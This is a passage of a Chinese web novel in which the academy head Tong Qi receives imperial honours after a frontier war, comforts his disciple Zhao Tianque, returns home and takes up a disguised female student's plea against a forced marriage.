“……特赐丹书铁券,镌刻‘除十恶五逆外,余罪皆赦’,子孙可袭三世……” 从这里开始,就有点不太对劲了。 丹书铁券?那是什么东西! 自建国以来还从未出现过啊! 况且什么叫做除谋反之类大罪,其他皆可赦,还允许子孙袭三世?这不就等于给了块免死金牌吗? 还是世袭的? 然而这还没完…… “……更允尔所创【华夏书院】每科特贡三人,径赴礼部会试,不拘文凭,但凭山长亲笔保书。文官不许盘诘,武臣不得染指,违者论罪!” 好家伙,连特招生通道都出来了? 直接免试一路进入会试科考?这让天下的其他士子们怎么做到心理平衡? 科举之难,很大程度上便是源于其三年一届的考试时间设定,如若没考中,那你别管是发挥失常还是什么,怎么也得再等三年再说。 即便天王老子来了,也得乖乖从童生开始考起来。 光是这一层层考上去,就得好多年。 可圣上呢,直接把华夏书院出身的,受到童启所推荐的学生免了前面的所有考试。 只要有才华,就可以直接参与会试,享举人待遇! 这也太逆天了一些? 别说其他人,就是三皇子读完,都是一脸的复杂之色。 他知道父皇信任童启,可从未想过,竟然会如此信任? 这三条,俨然比所有武将们抛头颅洒热血所得到的荣誉还要高! 简直是无上的殊荣! 绝不可能再有第二个人! 童启同样震惊无比,他忐忑的接过那圣旨,抬眸看向几人,一瞬间,他甚至觉得这伤受的值了! 若每一次都能有如此的结果,那这伤,也不是不能多受几次。 只要拼一人,便能幸所有学生。 只怕全天下的老师们,都会愿意的吧? 仿佛听到了他的心声,系统忙不迭欲凑那个双喜临门的运道,于是便将此次活动后的奖赏,也一并公示了出来。 跨时一年,这得到的奖励也非常无与伦比。 令童启眼睛一亮,开心不已。 【叮,恭喜宿主成功完成驱除鞑虏支线任务,奖励华夏书院分院建设面积1000平,可扩建,请任选大奉朝任意地点架设。】 终于! 他期待许久的分院校,姗姗来迟,顺利开启了! 天知道伊川县的沧澜山已经被物尽其用了多少地界,小小的平面,几乎挤满了建筑,可再怎么扩建,能收的,也就只有那么点学生,中部的倒是差不多都能来考,可最南边最西边最北边的学子们,却连听都极难听到华夏书院的名字。 这源于地理位置的不方便。 而有着这分校的权利,他便可以直接去罕见难开拓的地方,建书院了! 且用的,还不是自己的钱! 第118章 第118章起步回程 老实说,童启也曾偷偷尝试过,能不能用自己赚下的银两,休憩或者再建出一所学院来。 哪怕仍旧是在伊川县也行,算是给其他学生们一个喘息的空间。 毕竟沧澜山实在是太小了,几所建筑一架设,便是连养匹马都没有余地。 可当他约好了工匠们讨论时,权衡几遍,终究还是放弃了。 因为在这个年代,一切建筑物最高级的模式都尚处于青砖绿瓦时期,更别说能支撑的起上百人的四层小楼了。便是连二层楼都得用特殊的木梁来,砍伐用料,更是惊人的多,再加上费力烧制的瓦片、青砖,费用交叠起来,简直比他买的室内古董还要贵。就这,还不抗震! 但凡来个地震、洪水之类的,分分钟就能冲垮了。 后续的装潢修改更是麻烦,若他想要平整无灰的地面,首先要做的便是把水泥的配方给研究出来,或者派人去南方一块块搬运大理石…… 其琐碎磨人程度,好比想吃糖人,从甘蔗开始做起一般。 等搞好了,学生们都不知道换了几届了。 他又不是银子没处花,何必废那番劲儿? 因此,买好的空地,索性被改成了跑马场。反正占地面积都差不多,还更符合学生们当下的需求。 系统此次的奖励,相当于瞌睡送枕头,恰好送到了童启的心坎上。 回头分院校一开,学生数量一扩建,声望值蹭蹭的遍布整个王朝,想必“桃李满天下”的最终目标也能更进一步。 而他日积月累存下来的中级抽奖券,也终于有了用处。 难怪他觉得奖池里还剩下好多建筑没抽完。 合着是在这儿等他啊! 许是童启喜气洋洋的情绪过于外露,三皇子等人皆纳罕不已,道。 “真是奇了,以往也不是没有世家官宦一流,愿奉上珠宝金银任童山长挑选,只为入学。可童山长却并不在意,这还是头一次见到您露出如此欢喜的表情,想来,是对圣上的表彰格外满意了?” “不不不,我并无拣择之意。雷霆雨露,具是君恩罢了。我高兴,只是源于对这场战争终于结束感到松心。至于那些奖赏……” 他骤然想到什么,表情微滞,犹豫的抬头看向三皇子的方向。 对方察觉到后,挑了挑眉,一副都是自己人的模样,道。 “童山长不必拘束,可随意问。” 童启深呼吸一口气,终究还是问出了声。 “我其实是想问,那丹书铁券,是单我一个人能用,还是赠给亲近的人也可呢?” 赠给亲近的人? 那可是世袭的保命符啊! 你要赠给谁? 众人愣了一下,三皇子颇有些意外的回答道,“当然是亲近的人也可,怎么,童山长难不成已经有了要用的人?” 别家有这玩意儿可都是恨不得传到祖宗三代的,欲保几世的繁华! 可他呢,刚收到,就要转赠? 什么人这么幸福啊? “我想转赠给我的关门弟子,赵天阙。” 这名字一出,在场所有人皆顿时了悟了过来。就连三皇子,也是一脸复杂之色,却并没有多少惊奇。 他顺势坐到床沿边,安抚的拿过童启手里的书册,淡定说道。 “你若是担忧赵天阙身份的话,那大可不必。此事,父皇已经知晓了。放宽心,他并没有要追究的意思,虽有些吃惊愤怒,可谅在你也是不知情的一方,且属于被动托付,还一手养大了皇家的血脉,所以……即便不用丹书铁券去抵,也可。” 实际上,远在四皇子派人前往伊川县调查的时候,皇城司便已经收到了风声。 谁也不傻,好端端的,对方突然派人去调查什么童启所接触过的两岁孩童。 除了疑心是自己所丢失的孩子,又能是什么呢? 圣上追本溯源,自然很快便查到了徐常侍与齐承胤的头上。 两人皆是皇帝亲信,没怎么反抗,便将整个事件和盘托出。 这其中的欺瞒等事,令皇上愤怒不已,他怎么也没想到,自己的大臣竟然会在这种事上,背叛于他? 可很快的,又释怀起来。 毕竟赵天阙只是个女孩,生或死,都掌握在他的手中,纵使留着,也影响不了皇位的继承,掀不起什么大乱。 四皇子早晚都得死,留下一个后代,反倒向天下人彰显了自己的宽容大度,重情重义,也是一桩好事。 因此,便索性当作不知道,睁一只眼闭一只眼处理算了。 而朝廷内外,阁老级别的大臣们,皆知晓此事。态度上,也与圣上基本一致,采用了冷处理、不理会的方法,视而不见。 可以说,只要童启和赵天阙等人不故意声张,那么,此事即便埋在棺材里,也不会有人知晓。 听到此,童启总算是松了一口气,这么久悬着的心,也终于彻底落在了实处。 解决了最核心的问题,赏赐也皆领了,童启整理着行囊,向前线递了信,召集所有学生们尽快回程,一同反乡。 至于三皇子、汪启元等大臣,则一一接过了蓟州府等四个州府的一应事务,等和谈结束后,再继续收尾后续的事宜。 什么通商的具体细节啊,这群大军打完之后,要如何安置啊,甚至包括岳灼华、柏弓良、徐将军等人的功绩,要如何计算啊,这几个城池又归谁管理,中京大定府要不要还回去啊之类等等细节……都需要他们共同去参与决策,等搞完估计都到明年中了。 这乃是正儿八经的朝事,童启才不想管。 他还没彻底入朝呢! 才不打多余的工! 就在他作为甩手掌柜安心养伤的这几日,折继世、李元昊、赵天阙等人也相继被送了回来。 别看这几个小孩子年纪小,可此次战事,他们的收获却并不弱。 不仅打边角杀了好几个契丹人,还劫掠回来了不少牛羊,救下了许多被困在那里的汉人奴隶。 即便如赵天阙,也拿着自己的小弓箭,射中了不少人,差点弹瞎了一位契丹高级将领的眼睛。 不可谓不厉害。 他们年纪轻轻,意气风发,满载而归,人还未入营帐,笑闹声便已经听的分明。 可临近通报进入,赵天阙却脚步犹豫了起来。 “那个,你们先进去吧,我还有事,要再等一等……” “有事?什么事?那我陪着你一起等吧。” 李元昊茫然问道。 被折继世一巴掌打在后脑勺上,无语的拽离。 两人径直进入营帐里,后知后觉,他才发现刚才的问话有多愚蠢。懊恼的拍了拍自己的嘴后,他回头看了眼赵天阙,还是什么也没说。 此刻,童启正坐在桌边整理着自己来到边疆后,所制作出的书册等物。 其中不仅包含了蓟州府三州的人口统计数量,地理资源分布,还有着当地的豪门望族、仕宦商埠、民风习惯等,甚至连如今的困局、缺少的物资、今后的建设发展建议等都记录的十分完整。他打算将这些记录统一留一份,剩下的,则派人抄录,转呈给三皇子和圣上,作为此次的奖赏感谢。 见到折继世等人进来,他转身笑道。 “哎呦,看看这是谁,咱们华夏书院的小英雄们回来了?” 明显调侃的语气,令两人通红了脸,抱怨道。 “山长!” “山长!” “辛苦辛苦,风餐露宿,这一次收获如何啊?可还能适应的惯?” 两人听到询问,这才七嘴八舌,顿时将战场上所遇到的所有事情全部说了一遍。 童启耐心的听着,笑盈盈夸赞几番,等夸完,这才发现天阙不在。 他疑惑问道。 “咦?天阙呢?她没和你们一起回来吗?” 李元昊等人对视一眼,这才将方才对方走到营帐门口,又犹豫着停下脚步的事情给说了出来。 童启想了想,很快明白过来,也不让人扶着,而是独自坐在了自己打造的轮椅上,径直推着,缓缓驶出了营帐外。 远处的沙地上,晴空万里,天边绵延着百姓们做饭的炊烟,正袅袅升起。 赵天阙低垂着脑袋,坐在沙袋旁,就像是一个做错了事的孩子一般。 泄气无力。 童启推着轮椅缓缓碾压过脚下的土砾,那细微的声音,让她立马抬起了头,见到是他,又茫然站起,瞬间转换为怯怯的恐慌。 心疼的放柔了语气,童启小声问道。 “天阙,怎么回来了,不来见我呢?” “师父。” 略带着点哭腔的声音,只两个字,便让他彻底软了整个心房。 “傻丫头。” 他无奈的伸出手,上前小心翼翼的将这小小的身躯抱入了怀中,轻声安抚着。 “这一切都不是你的错,千万不要拿其他人的错误,来惩罚自己。你只需记住,不论发生什么,你永远,都是我童启的关门弟子,华夏书院最特殊的小师妹,这便够了。” 此句一出,赵天阙这些天以来所有紧绷着的心弦顿时坍塌。 她整个埋在了童启的怀中,抓紧了对方的衣衫,哇哇大哭起来。 活像是一个差点被父母所抛弃的小孩般,哭的肝肠寸断。 天知道这些日子以来,她有多么的恐惧。 连守在这里,等候童启清醒都做不到,急匆匆的便跑到了战场上去。 她在逃避,逃避对方那失望或者厌恶的表情。 什么公主,什么皇亲贵胄,她才不要! 她不想离开华夏书院,更不愿被送回所谓的皇宫。 从出生开始,她见到的第一个人便是童启,叫的第一个称呼,便是师父。 于心底来说,她早就把童启当成了自己的亲生父亲一般。 这个时候,你说她亲生父亲还活着? 凭什么,凭什么对方压根没有教养过她一日,她就得叫对方父亲? 凭什么那人屠戮了黄龙府那么多的百姓,令无数人怨声载道,却还能算是一个皇子? 什么四皇子,她压根不愿承认。 当黄龙府那被活埋的万人坑被挖出的时候,现场不知多少百姓天塌地陷,痛苦不已。她茫然的看着,听着他们日夜不间断的谩骂与诅咒,不敢抬头。 那样怯懦与残忍的人,竟会是自己的父亲吗? 她不想要。 她多怕师父也因那人而厌恶自己,再也不要自己了。 可好在,师父没有变,师父对她说,那不是她的错误。 明明是小小的幼童,肩膀上却承担了太多远超于这个年龄以外的东西,哭起来,更是绵绵不绝,像是要把这些天所有的泪水一股劲儿淌出来一般。 好在周围人耐心的哄着,劝了几劝,这才勉强哄住了。 不过至此,赵天阙的性格也浑然大改,变得沉稳了许多。 再也没有像以前那样无法无天,不顾后果的胡闹了,做什么事情,也懂得与人商议,乖巧听话。 反倒是书院里的师兄师姐们十分不适应,心疼不已。 连带着私下里对四皇子的抱怨也更多了一些。若不是他,天阙也不必早早长大懂事,反倒失去了本应有的一段美好的童年。 诸事皆毕。 直到最后,童启也没来得及再见到岳灼华和柏大将军。 前线粮草告急,他们不愿耗在这里,平添麻烦,更何况潘阆、柏老等人的书信一封又一封,催促不已,几人商议后,便决定带队先 回伊川。 那里气候温和,又有暖气,对于山长的腿,自然更方便治疗复建一些。 至于将军们,反正明年恩科会试,京都还有再见的机会。 于是,几人采购一番,将所有行李装了满满三大车,这才带着人慢悠悠,往家乡而回。 第119章 第119章后续计划 知晓童启要离开的人并不多。 前线忙乱,他打算低调来,低调去,因此特意没通知任何人。 可即便如此,不少蓟州府的乡老们,仍旧通过童继本等人大量采买当地特产的行为,隐隐猜到了几分。 晨风瑟瑟,正是出行的好时间。 童启启程当日,底下的亲卫们刚刚睡眼朦胧打开门,只一眼,便被整个震撼在了原地。 “山长!山长……您快来看啊!” 低声的惊呼之下,童启裹着厚重的狐裘,坐在轮椅上被推了过来。 这是他第一次在现实生活中,真正体会到万人空巷的实际含义。 只见到大约半个州府的百姓们都来了。 城墙内外,除了主干道上,几乎比肩继踵挤满了人。 当上万张质朴的脸庞,穿着各异,用依依不舍的表情同时对望一个人时,那股头皮发麻之感,就连围观的龙胜书院的学子们、军营里留下的士兵们,刚刚来报道的基层官员、汪启元、三皇子等人,都忍不住被这份民心所震撼。 也就此时不是柳树生长的季节,不然光是送行,只怕一人薅一个枝条,都得给全部薅秃了。 “你们怎么……” 说不感动是不可能的。 童启被人搀扶着踉跄走下,对着众人,长长久久的鞠了一个躬。 一切感激,尽在这不言之中。 蓟州府,乃是他仅次于河南府之外待得最久的城市,与河南府的青涩、中庸不同,这里冬日要更冷一些,许是如此,当地的百姓们也更加热情。 每每见到他或者身边的亲卫上街,光是打招呼便能喊上一路。 买菜或者买其他物品时,更是抢着付账,亦或强制免单。 光从声望值地图上来看,也能窥的一斑。 伊川县,他呆了三四年,才变成了通红之色,可这里与涿州、瀛洲、黄龙府三地,只半年,声望值便已经远胜其他州城,红的近乎发紫。 这代表了,几乎每一位百姓,哪怕三岁幼童,都知道他以及华夏书院的名字,且彻底融入了心底里。 视线一一划过每一位熟悉的脸庞,童启被缓缓推上了马车。 众人目送着,不知谁先喊了句。 “愿君事事安康,有机会,常回来看看!” 其他人便跟随着,朗声大喊起来,眼眶中含泪道。 “愿君事事安康,有机会,常回来看看!” 近几十万人的声音,声震万里,惊动了附近几乎所有的鸟兽。 哪怕最后面站着的百姓们压根见不到童启的影子,可依旧没有离开,鼻涕一把泪一把的送着他远行。 童启的意义对于这座城是不一样的。 既不是官,也不是民,其形象更接近于父母家长,亦或者空降的神。 对方迎着刀枪,从炮火天罚中走来,见到他们衣衫褴褛,身无避雨之地,便手把手带着重建家园,抵御敌军,眼看着一点点谷稻丰收,名声安定了,再甩一甩衣袖,不带一片云彩,离开此地。 生的希望、站着的尊严,读书的意义,无一不让他们三观重塑。 对官员们应做到的认知,也变得广博与深刻。 一连数十里,直到跨了另一个城池,跟随送行着的百姓们,才渐渐少了起来。 马车内,头一次经历如此大的事情。 众人皆隐秘沉默的兴奋着,既期待回去之后师兄弟们的艳羡,又有着满满当当人生意义价值被满足的成就感。 童启同样难以心静,他垂眸看着手中的书卷,脑子里却不断闪回着这半年所经历的点点滴滴。 深呼吸几口气,勉强调整着自己的心态,他重新从手握三军的边疆大臣身份,转换为华夏书院的山长,恶补起这些日子缺少的功课与事务来。 一边补,还一边随机拉扯一位车上的学生,作为考察。 “克明俊德,以亲九族。九族既睦……” 折继世顿了一下,忙慌张回答,“九族既睦,平章百姓……” 他接着往后背了数十句,童启这才点点头,看向下一个。 “郑伯克段于鄢。书曰:郑伯克段于鄢。段不弟,故不言弟;如二君,故曰克。” 戚风言不假思索往后背道,“称郑伯,讥失教也……” 两人答完,童启又抽查了李元昊与赵天阙的《论语》以及《诗经》选段。 就这么毫无规律的接连考下去,一日下来,几个学生顿时再无浮躁之气,只剩下忙不迭快速回答山长问题的本能,倒把丢失了许久的文章背诵,一同拾了起来,想起了书院里即将到达的期末考试之期。 “那个……山长,我们这次回去,不会还要参加今年的期末考试吧?” “为什么不?”童启疑惑的问道。 李元昊顿时睁大了眼,一脸控诉。 “可我们都快大半年没复习了啊!” “我难道没有每周给你们讲课,布置作业?只要那些你都认真做了,期末考试,根本不在话下。” 李元昊顿时一脸苦涩,正是因为他没做,所以才有此问啊! 啊啊啊啊期末考试!天杀的期末考试! 如今的华夏书院,期末成绩张榜不说,还会发送到每位家长的手中要求签字,若真拿下个倒数第一,那即便今年他上了战场,立了功,也照样丢人的紧! 因着这份危机,所有学生们不禁内心一凛,开始闷头复习起功课来。 路上的日子陡然变得有趣。 随行的亲卫们个个带笑,每日听着马车里郎朗的诵书声,不由有了几分远离边疆战场的切实感。 倒也有那沿路的官员,听闻了童启经过,想要前来拜见的,可统一被童继本以“修养”为由,拦在了外面。 童启的意思是,纵使龙图阁大学士乃二品官衔,但终究是有名无实。 他又不是什么正儿八经的上司,就一个教书的,有什么可臭显摆的呢? 所以也不用人拜见,耍官威,各自做好各自的事情,就罢了。 晃悠悠半个月过去,越是接近河南府,几个人便越是心潮澎湃,竟有种近乡情怯之感。 河南府界碑附近,一家茶棚内。 几个百姓正百无聊赖的看向官道处,见到远方三辆马车缓缓驶来,不由瞪大眼睛,大喊起来。 “来了来了,回来了!这一次,定然是童山长!” 如泉水陡然沸腾起来一般,这呼喊顿时引得不少人引颈而望,喧哗起身。 欢天喜地、敲锣打鼓的声音随着马车的接近,依次响起。 咋咋呼呼吓了童启等人一大跳。 他们日夜思念着家乡,而家乡里的百姓们,又何尝不在思念着童山长呢? 大半年只能从路人商旅的口中得知近况,浓浓的担忧,早已令他们寝食难安。 既担心对方受伤,又担心对方在蓟州府受到的拥戴太好,而乐不思蜀,不回来了,直到这重新见到人,才彻底放心下来。 三辆马车瞬间被人群所淹没。 七嘴八舌的慰问,令他们前行困难。 “童山长!好久不见啊!什么时候有时间再去我们流觞酒楼坐坐啊!” “您听说了这次乡试的成绩了吗?你们书院里的王世昌又拿了第一嘞,恭喜恭喜啊!” “山长,明年华夏书院还招生吗?今年不招,明年怎么也得翻倍了吧?我侄儿他们还等着呢!” “听说前线大捷?童山长,您可真是给我们河南府涨脸了啊,了不得!” …… 扑面而来的各种询问、称赞,令童启等人目不暇接。 这便是锦衣归乡的待遇吗? 也太令人负担了一些? 就在他们担忧如此热情之下,何时才能离开的时候,华夏书院的潘阆先生带着一众学生们前来迎接了。 自收到书信后,他们早早便出发等候在了此地,可没想到附近的其他百姓听闻后,也纷纷要来一起迎接,随着一传十十传百的消息扩散,聚集的人数也越来越多,久而久之便成了这个模样。 童启听闻后,哭笑不得。 “大家放心,学院明年肯定是要招生的!至于招多少人,这要看后续的安排,届时我们会统一张榜公示。辛苦大家来迎接我,为我接风洗尘,但书院里孩子们还等着,我就不多留了,改日,改日有机会,咱们再细聊啊!!” 一边安抚着大家的情绪,一边被拽着马车,从人群中挣脱出来。 等童启和一众师生真正回到书院的时候,已经过去了大半日。 他们站在沧澜山山脚下,深呼吸一口气,整个大脑都感觉放松了下来。 书院里一二年级的学生们皆走了出来,活像是迎接归巢的雄鹰一般,欢喜雀跃着。 “山长,山长你总算是回来了!” 年纪大的少年尚且抹不开面,可其他幼小的学生们却毫无顾忌,尤其沈亦、童庆安、柳三变等 人,仗着年纪小,直接就扑进了童启的怀中,各种腻歪着。 旁边的曹老见状忍不住斥道。 “胡闹,像什么样子,还不快回去读书?” 可眉眼,却也忍不住上扬。 童启伸出手,一个个摸过他们毛茸茸的脑袋瓜,并没有反对亲近的样子。 于是,即便稍显陌生的新生们,也敢大着胆子上前,蹭一蹭“金光”了。 校长办公楼,四面的窗扇全部被打开,整整齐齐的欢迎着主人的到来,底层水波轻漾,干净而清新。天井处投射着落幕的夕阳,美的简直不像话。 桌上物件一如走时模样,可摸过去,却没有任何灰尘。 终于回到了自己的地盘,童启率先便给随行的所有亲卫们放了个长假。 让他们带着奖金,各自回家陪陪亲人去。 而没有亲人的,则好好歇一歇,慰劳慰劳这大半年风雨奔波的身躯。 柏老、曹老拿着一大堆文件,过来和童启交接这半年书院发生的事情。 “章县令今年年中已经因为任期满了被调离,前往蓟州府担任知州去了,伊川县新来了个刘县令,据说是江南出身,至于怎么过来的尚不清楚,还在调查中,您可能需要多加注意一些。顾知府如今仍未走,八月份乡试结束,咱们书院里考上了八人,这是名单,我和潘先生商量之后,已经将他们统一调到了二年级以上的班级里。” “目前书院一共有87位学生,加上医科的话,一共是152人。其中,冲刺班12名,皆已经拿到了秀才以上的功名,二年级26名,全是童生资质,一年级的话,分成了三个班,一个班15人,除了童庆安、童淳、李元昊、赵天阙,仍呆在学前班里打基础,其他人基本上都符合了明年县试的应考能力。” 童启点点头,接过那名单翻看着,又是一年过去,如今书院里的名次排名,咬的格外紧。 除了王世昌依旧是第一名外,剩下的学生基本上都已经重新排了序。 他一个个往下看,第三届的陆无双与冯晏春、王楚川等人皆已冒了头,不仅压过了戚风言、莫小川等人,竟然连程勤、全岸轩都不遑多让,可见基础打的不错。 看来,世家出身……起点确实比其他人要高些,追赶的话,速度也格外的快。 老实说,这世界上每一位老师,都是希望自己能够平等的对待手下的每一位学生的。 但真正能够做到公平公正,十个手指一般长的,很少。 就像是童启,他已经算是力求公正的了。 但对于第一届学生们,那是非常了解,即便一个眼神,也知道对方在想什么。可第二届的学生们,便有些稍弱了,像是王世昌、谢君仪、戚风言这种格外出挑、闹腾的还好,可那些老老实实,始终处于中游,不上不下的学生们,便要反应一会儿,才知道是谁。 而这种情况,到了第三届的学生里,便更加的变本加厉起来。 他刚收下没多久,还没教几堂课,就去了京城陪吴韧等人参与会试,然后紧接着又前往边疆大半年,别说他不了解学生了,想必学生们对他,也是知之甚少,如同空中楼阁一般,听闻远比相处多。 因此,为今之计,今年最紧要的,是和这些学生们打好关系,多多培养感情。 别说什么这不重要,上学只是上学之类的。 他年轻时也曾当过学生,普遍发现,一般学生对于老师的熟悉程度,很大程度上决定着他们对这门课的掌握情况,这是呈正比的。 学生们心思极单纯。 通常喜欢这门课的任教老师,那么,即便是对这门课不感兴趣,成绩也不会太差。 但如果打心底里厌恶或者抵触某位师长,那么很好,这门课也不必上了,即便曾经成绩很好,也会瞬间下滑。 采取抵制情绪。 进而恶性循环。 他不求华夏书院出去的每一位学生都非常喜欢他,但起码,每个人都要对他有个基本了解,是那种面对面,自己体会到的感觉,而不是传闻中猜测的那种。若只是浑浑噩噩混过几年,便进了官场,那和其他私塾又有何不同呢? 短暂的发散了会儿思维,他绕过应考班,看向了医科学院。 相对比起来,这里的成绩就要稳定多了。 仍旧是王小花、郭虎妞、曹婉欣等,依次往下排。 动也未动。 他随口问道。 “郭虎妞这孩子你觉得怎么样,她好像是货郎家的出身?毫无基础,竟也能比曹婉欣还学的更快一些?” 张小娘子一脸欣慰的解释道,“这孩子非常勤奋,且自尊心极强,每日基本都熬到最晚,不仅将所有的中药相关药性赋都背了下来,还在外面找了个医馆的实习工作,休沐时免费看病,积攒病例,有不会的就回来问,所以进步的格外明显。” 童启点点头,并未干涉。 比起女孩子们格外珍惜医科的机会,如同抓住最后一棵稻草般的努力,男孩子们的医学成绩,相比起来就要逊色许多,除了有个叫做旬迁的勉强挤进去了前十,剩下的,基本都在十五名开外。 他今年不打算再补充医科的学生们了。 毕竟学医需要漫长的培养时间,又没有什么考试的局限。还是先毕业一届,之后再重新收,会比较统一,张小娘子与邢御医教学时,也能更加集中精神,保持专注。 心里一一捋过后续的计划,他想起圣上给的那三个免试的名额来。 又重新拿起科举班冲刺班的名单。 从上到下,依次是王世昌、陆无双、王禹偁、冯晏春、王楚川、程勤、全岸轩、莫小川、戚风言、谢君仪、刘晓春、沈亦。 小侯爷竟然也闯进来了? 童启有些意外。 当然,更令他意外的,是王世昌一个女孩子,竟然也能够凭借着自己的力量,走到如此地步。 那么,要不要帮一把呢? 他想着,索性令人将王世昌叫了过来。 第120章 第120章(二更)一键换装…… 见到许久未见的学生,童启先被对方所呈现出来的状态给吓了一跳。 “什么情况?你这是去哪儿挖煤了?” 晒得黝黑不说,黑眼圈和眼袋,简直都快要垂到颧骨之下了! 怪不得白天没见到他下山迎接去,就这幅状态,不知道的还以为是学校里受欺负了呢? 谁想他刚问了一句,对方却直接整个人噗通一声跪了下来,焦急的眼泪直流,求道。 “山长,求求您救救我弟弟吧。” 你弟弟? 童启一头雾水,忙拄着拐上前搀扶起她。 “等等,等等,好好说话!这动不动就跪的,什么毛病?” 他无奈的将人托起,安抚着坐下,令人倒了杯水来,之后才追问起到底发生了什么。 王世贞强行令自己冷静下来,泪 眼朦胧的讲述着。 原来,在童启离开的这段时间,王家发生了很多事,他的大伯因得罪了上司,意外丢了官职,家里的进出一下子变得拮据起来,大伯母畏惧于王世昌身负秀才之名,不敢再刁难与针对,可却因着两人成亲年龄渐近,而起了别的心,想要花高价,将王世贞嫁出去,用来贴补家用。顺带着把自己娘家的穷侄女带进门,转嫁给王世昌,图一个未来的稳妥与保障。 即便两人百般反对,可父母不在,长辈说了算,他们也只能眼睁睁看着大伯母筛选合适的人家。 定了亲。 眼见着婚期将近,王世贞急的寝食难安,本想求助于师长,却不知该如何阐述自己的身份。 山长能接受的事情,其他的先生们未必能接受。 若知道她其实是女子,只怕会令这件事更加的火上浇油。 因此,她只能继续等。 一日日的,便这样消沉了下来。 童启整个人都听懵了。 什么王世昌、王世贞的,他勉强能够明白,王世贞女扮男装,应是借了自己双胞胎弟弟的身份,可婚事……这才多大啊,就开始说亲了? 圣上已经下了旨,明年就要开恩科补录进士,以王世贞的成绩,自然可以拼上一拼,可若是说了亲,那就相当于两人互换身份上学甚至科考的事情彻底暴露。 别说继续往上考了,不追究一个欺君之罪,已经是最好的结果。 “我知道,这一切都是我的错,是我太贪婪,若不是当初我一心想试一试男孩子们的生活,赌气来参加书院的考试,也不会生了其他的心思,想要和男人们一样赚个功名回去,减轻家里的负担。山长,我知道自己很自私,可弟弟是无辜的,他做这一切都只是为了成全我!现在,他甚至还想牺牲自己,替我嫁人。我该怎么办?” 若没有见到过这世界的广大与精彩,那她还可以后退回那方寸的绣楼之中。 可当她见过了这世界上最好的山长与同窗后,她发现,自己真的不甘心再松开手,任由这一切溜走了。 她距离那个位置,如今只差一步,要就这么放弃吗? 那过往付出的泪水与汗水呢? “我每次考试都是第一名,藏书阁内的书,我已经把整个一二层全部看完了,每一科的先生们,都说我是最好的,可就因为我是女子,这一切,便都要拱手想让吗?山长,我不明白,这到底真的是我的错,还是这世道的错。我不想就这么嫁人,我也不想,让任何人为了我的行为去受伤,可山长,我不甘心呐,我实在是不甘心啊!” 望着王世贞泪眼之中勃勃的野心,童启怔愣了两秒,双眸垂了下来。 他很想说,这不叫贪婪,也不叫自私,这叫做,争取。 可涉及这个年代,涉及学生的家事,这些话,他也只能暂时咽了下去。 见到童启若有所思的模样,王世贞忙擦了擦眼泪,强撑道。 “抱歉,我有点失态了。我不是说您一定要帮我的意思,其实,我也知道,这事情乃是死结,无人可解,我只是……” 只是想找一个真正能理解她身份的人,一吐胸中的不平罢了。 即便童山长也是这套框架中受益的人群,但不知为何,她就是莫名觉得,对方能够懂得她的不甘。 童启当然能懂得这份不甘。 曾经在现代山区支教时,他曾见过无数个想要走出大山的孩子,那些孩子们的表情,与此刻的王世贞,并没什么两样。 那种哪怕风雨飘摇,也要踩着绳索,走着崎岖的山道,冒着性命之忧,来读书的倔强。 不是为了学习改命,又是什么呢? 这绝没有错! 学生想上学,想走出命运的框架,想凭借努力走上高位,这就像是牛喝水、猫抓耗子一般,理所应当。 只是在这特定的时空下,遭到了打压与抑制罢了。 并并不叫做错。 “我想,我明白你的困难了。你先别急,短时间内,先不要离开书院,我会想办法,和你的伯父伯母们见上一面的。” 他只能先如此承诺道。 可即便如此,也已经让王世贞绝望的世界中,骤然亮起了一盏灯。 “山长……” 她怔愣道。 说归说,求归求,可她从没有想过,对方会真的支持她继续走这“不像话”的道路。 毕竟,这可是跟男人们争抢名额啊? 山长竟不觉得冒犯吗? 童启看着她瞬间茫然迟滞的表情,无奈的笑了笑,但也没有继续解释其他。 第二日,便请来了柏老、张小娘子等人,说要联合他们一起在华夏书院的校刊上,共同发表一篇文章来。 题目就叫做《论早婚早育对于男女的身体危害及寿命损伤》。 这篇文章,老实讲,童启自己一个人来写也可以,但加上柏老与张小娘子,显然会拥有更多的权威性与数据支撑。 两个人皆是一脸讶异,似没有想到童启会猛不丁讨论起这个话题来。 上一次的辩论赛,那些敏感的话题,便已经让不少大儒和权贵世家们对其颇有怨言,这一次若再搞出这么一个大新闻来,那无疑是让华夏书院再次站在了风口浪尖上。 “值得吗?我们只是一家书院而已,即便真的有这样的危害,大不了以后约束本院校的学生们就是了,发布到校刊上,那可是无数人都会看的。” 更何况这里面还讲了一部分世家近亲结婚的危害。 这是要疯吧? 不是狂戳那些人的肺管子是什么? 就连张小娘子也有些为难,道,“山长提出这个论点,是有什么发现吗?这样的事情虽然听闻过很多,但大部分都会觉得是正常事件。” 毕竟小孩子夭折实在是太过正常。 妇人难产,也有着稳婆技术不佳,或者生育条件卫生情况太差之类的问题,只怪罪在生育的年龄身上,是不是有些以偏概全呢? 童启闻言,将蓟州府之前收集到的人丁图册递给了张小娘子。 “其实,此事我也一直在犹豫要不要讲,就像你们说的,此乃家事民风,即便说了也未必有人听。但蓟州府一行,我观察了一下当地的人口统计,顺带着做出了个数据表格分析来,情况远比我想象的,要更加可怕一些。” 两人低下头,循着那图册一一翻看过去,越往后便越是心惊。 神情严肃之下,连带着后背都吓出了一身的冷汗来。 “这……可为真?” “确凿无疑。” 童启的话,令两人陷入了沉默之中。 在现代,早婚早育的危害,基本上人尽皆知。可在大奉朝,也不知道是不是那位开国皇帝本身就是男性,所以不管生育问题的原因,所以竟连提都没有提到过。大部分的百姓们,都认为成亲生孩子的最佳年龄处于13岁左右,某些地区甚至还讲究早婚是福,娃娃亲、童养媳等,十岁不到就开始准备孕育生命,简直令人瞠目结舌。 这一次蓟州府行,人口普查,他也是在统计之后,才发现了此事。 若没有王世贞的求助,他其实本身也在思考着要不要公开出来,总不能继续看着人口就这么折损下去吧? 而对方的困境,则算是彻底推动了他大范围传播的勇气。 张小娘子近乎震撼的一遍遍摩挲着那串数字。 身为女性医者,她愧疚于自己竟从未注意到这一点,还得靠山长的额外提醒,才能知晓,更觉惊恐的则是,千百年来,那么多的大夫,竟无一人提到过?大家皆默认十三岁便是成亲生育最佳的年纪,这背后,到底是不知道,还是说故意隐瞒? 细思之下,简直毛骨悚然。 十六岁以下的母亲,生产出来的新生儿,死亡率竟高达百分之六十九?而十岁以下,则还要再增高百分之五十? 这是多么可怕的数字? 相当于一百个孩子里面,只能活下来三十一个! 而孕妇更是受到骨盆过小、难产、后发病等困扰,光 是死在产房里的,一年便有三千多人。 天哪,她仿佛看到了无数性命前仆后继,向着火光而去。 心被猛的攥紧了。 